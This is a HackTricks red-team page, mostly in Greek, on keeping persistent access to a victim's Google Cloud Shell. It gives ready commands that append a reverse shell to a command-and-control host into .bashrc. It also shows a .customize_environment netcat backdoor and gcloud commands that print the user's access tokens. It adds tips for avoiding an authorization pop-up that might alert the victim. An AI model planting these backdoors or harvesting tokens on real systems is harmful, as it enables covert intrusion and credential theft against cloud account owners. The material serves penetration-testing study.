GCP - Cloud Shell Persistence

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Cloud Shell

Για περισσότερες πληροφορίες δείτε:

GCP - Cloud Shell Enum

Persistent Backdoor

Google Cloud Shell παρέχει πρόσβαση γραμμής εντολών στους πόρους του cloud σας απευθείας από το πρόγραμμα περιήγησης, χωρίς κανένα σχετικό κόστος.

Μπορείτε να έχετε πρόσβαση στο Google Cloud Shell από την web console ή εκτελώντας gcloud cloud-shell ssh.

Αυτή η κονσόλα έχει μερικές ενδιαφέρουσες δυνατότητες για attackers:

  1. Any Google user with access to Google Cloud έχει πρόσβαση σε ένα πλήρως authenticated Cloud Shell instance (Service Accounts μπορούν, ακόμη και αν είναι Owners του org).
  2. Η συγκεκριμένη instance θα διατηρεί τον home directory της για τουλάχιστον 120 days αν δεν υπάρχει δραστηριότητα.
  3. Δεν υπάρχουν δυνατότητες για έναν οργανισμό να παρακολουθεί τη δραστηριότητα αυτής της instance.

Αυτό ουσιαστικά σημαίνει ότι ένας attacker μπορεί να τοποθετήσει ένα backdoor στον home directory του χρήστη και όσο ο χρήστης συνδέεται στο GC Shell τουλάχιστον κάθε 120days, το backdoor θα επιβιώσει και ο attacker θα αποκτά ένα shell κάθε φορά που εκτελείται απλά κάνοντας:

Add reverse shell to .bashrc ```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc ```

Υπάρχει ένα ακόμη αρχείο στο home folder με όνομα .customize_environment που, αν υπάρχει, θα εκτελείται κάθε φορά που ο χρήστης εισέρχεται στο cloud shell (όπως στην προηγούμενη τεχνική). Απλώς εισάγετε το προηγούμενο backdoor ή ένα όπως το παρακάτω για να διατηρήσετε persistence όσο ο χρήστης χρησιμοποιεί “συχνά” το cloud shell:

Δημιουργία .customize_environment backdoor ```bash #!/bin/sh apt-get install netcat -y nc 443 -e /bin/bash ```

Warning

Είναι σημαντικό να σημειωθεί ότι η πρώτη φορά που εκτελείται μια ενέργεια που απαιτεί πιστοποίηση, εμφανίζεται ένα αναδυόμενο παράθυρο εξουσιοδότησης στον browser του χρήστη. Αυτό το παράθυρο πρέπει να γίνει αποδεκτό πριν εκτελεστεί η εντολή. Αν εμφανιστεί ένα απρόσμενο αναδυόμενο παράθυρο, μπορεί να προκαλέσει υποψίες και ενδεχομένως να θέσει σε κίνδυνο τη μέθοδο persistence που χρησιμοποιείται.

This is the pop-up from executing gcloud projects list from the cloud shell (as attacker) viewed in the browsers user session:

However, if the user has actively used the cloudshell, the pop-up won’t appear and you can gather tokens of the user with:

Get access tokens from Cloud Shell ```bash gcloud auth print-access-token gcloud auth application-default print-access-token ```

Πώς γίνεται η σύνδεση SSH

Βασικά, χρησιμοποιούνται αυτές οι 3 κλήσεις API:

Αλλά μπορείτε να βρείτε περισσότερες πληροφορίες στο https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks